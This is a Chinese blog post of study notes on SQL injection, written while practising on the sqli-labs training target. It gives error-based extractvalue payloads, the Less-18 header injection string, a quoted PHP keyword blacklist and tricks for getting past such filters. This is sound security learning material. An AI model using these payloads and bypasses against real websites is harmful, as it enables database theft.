前面的浅析sql注入基础里面基本上吧最最基本的sql注入原理说了一下,爆库名啊表名啊字段啊还有盲注的基本原理,布尔型盲注,时间型盲注等等都在这儿有详细的提到
https://blog.csdn.net/Alexz__/article/details/100712648
随着深入练习靶机sqli-labs-master也慢慢发现了sql注入许多不同的全新姿势
一个网站要是没有任何防御措施,那和肉鸡还有什么区别?接下来要总结几点基础的绕过防御措施
---------------------------------不存在的分割线---------------------------------
壹
注入第一点就是寻找闭合,发现注入点
GET型直接在后面跟着猜测闭合 ?id=1 (所猜测闭合) 要是猜对网站直接报错,猜错则毫无反应
POST型同理,burp抓包repeater分析req和res包内容,寻找合适位置(cookie字段,ip字段,referer字段,use-agent字段等等)要是猜对网站直接报错,猜错则毫无反应
贰
贴个高版本MySQL的报错注入语句
extractvalue(1,concat(0x7e,(select version())))
0x7e是 ~ 符号以方便区别爆出字段
后面括号内接sql语句即可
叁
以Less-18为例子:
Less-18 头部双注入(使用的是高版本mysql函数报错注入),通过观察闭合报错来确认列数,构造注入函数
'and extractvalue(1,concat(0x7e,(select database()))) and '4
在这里没有在最后使用注释符号而是直接跟着闭合
部分源码:
( ' ' , ' ' , ' ' )
引号内添加即为注入语句: ' and extractvalue(1,concat(0x7e,version())) and '1 其中注入语句内的单引号内的内容,被后台插入到源码的单引号之间,于是后台mysql报错即触发报错漏洞得以完成爆版本
全新的注入思路,有待慢慢探索和思考
肆
过滤字符
先贴一段变态的源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
真他吗,洗的干干净净
如何判断被过滤字符?
GET中?id= (在这里键入测试字符串) 1
要是返回数据与原来无异,则键入的字符已经被后台清洗掉了,反之则没有过滤
贴几个各种搜刮来的绕过姿势:
and:(or同理)
&&
Aandnd
AND
AnD
…
space空格:
()
/**/
0x7a b c
伍
SQL注入,总之规律性强,原理较为基础,容易上手,不是很复杂;但是危害性极大(注入成功后台即透明),防御手段完善,不易寻找漏洞。
第一点是要寻找web界面与后台的交互方式,怎么交互? GET POST,以及各种各种字段cookie,head…
其次就是寻找闭合方式,构造与测试闭合手段不一样
再而则是绕过防御措施:过滤字符串,waf(硬件防火墙,和软件防火墙可独立于网站,检查提交给服务器的http字段,)
关键是不断的尝试去了解背后规则,知己知彼方能百战不殆
前期刚开始的时候应当多去查看后台源码,熟悉各种冷门的sql语句,sql函数,通过想象力的创造力打造一把无坚不摧的利器,攻破那看似坚固的城墙
给刺刀装上理想